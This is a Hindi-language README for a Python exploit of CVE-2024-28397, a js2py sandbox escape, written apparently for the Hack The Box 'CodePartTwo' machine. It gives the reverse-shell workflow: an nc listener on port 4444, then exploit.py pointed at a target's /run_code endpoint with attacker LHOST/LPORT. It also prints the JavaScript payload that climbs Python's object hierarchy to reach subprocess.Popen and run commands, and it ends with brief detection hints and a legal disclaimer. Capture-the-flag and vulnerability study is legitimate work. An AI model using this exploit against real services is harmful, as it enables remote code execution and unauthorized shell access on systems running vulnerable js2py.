
इस रिपॉजिटरी में CVE-2024-28397 के लिए पायथन एक्सप्लॉइट कोड है जो हैक द बॉक्स (HTB) पर "CodePartTwo" मशीन पर उपयोग के लिए है।
CVE-2024-28397 के लिए एक पायथन शोषण कोड, js2py <= 0.74 में एक गंभीर भेद्यता जो सैंडबॉक्स एस्केप और रिमोट कोड निष्पादन की अनुमति देती है।
js2py पायथन वातावरणों में जावास्क्रिप्ट कोड का मूल्यांकन करने के लिए एक लोकप्रिय पायथन लाइब्रेरी है। यह भेद्यता हमलावरों को js2py सैंडबॉक्स वातावरण से बचने और मनमाने पायथन/सिस्टम कमांड निष्पादित करने की अनुमति देती है, तब भी जब js2py.disable_pyimport() सक्षम हो।
शोषण जावास्क्रिप्ट के माध्यम से पायथन की ऑब्जेक्ट इंट्रोस्पेक्शन क्षमताओं का लाभ उठाकर subprocess.Popen क्लास तक पहुँचता है और सिस्टम कमांड निष्पादित करता है।
pip install requests
# नेटकैट लिसनर प्रारंभ करें
nc -lnvp 4444
# शोषण चलाएँ
python3 exploit.py --target http://target.com:8000/run_code --lhost 10.10.14.100 --lport 4444
--target लक्ष्य URL एंडपॉइंट (आवश्यक)
--lhost रिवर्स शेल के लिए स्थानीय IP (आवश्यक)
--lport रिवर्स शेल के लिए स्थानीय पोर्ट (डिफ़ॉल्ट: 4444)
python3 exploit.py --target http://10.10.11.82:8000/run_code --lhost 10.10.14.100
__class__ और __base__ के माध्यम से पायथन की ऑब्जेक्ट पदानुक्रम तक पहुँचने के लिए जावास्क्रिप्ट का उपयोग करता हैsubprocess.Popen का पता लगाता हैशोषण इस प्रकार काम करता है:
Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__ तक पहुँचना__subclasses__() का उपयोग करके पायथन की ऑब्जेक्ट पदानुक्रम में चलनाsubprocess.Popen क्लास ढूँढना// Access Python object hierarchy
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a, "__class__"), "__base__");
// Find subprocess.Popen class
function findpopen(o) {
// Recursive search through subclasses
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
}
}
// Execute command
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
जावास्क्रिप्ट कोड में निम्नलिखित देखें:
__class__ या ___class___ विशेषता तक पहुँच__subclasses__() विधि कॉलsubprocess या Popen के संदर्भprintf और base64 -d के साथ बेस 64-एन्कोडेड पेलोडयह उपकरण केवल अधिकृत पैठ परीक्षण और शैक्षिक उद्देश्यों के लिए है। उपयोगकर्ता लागू कानूनों और विनियमों का पालन करने के लिए जिम्मेदार हैं। कंप्यूटर सिस्टम में अनधिकृत पहुँच अवैध है।
यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।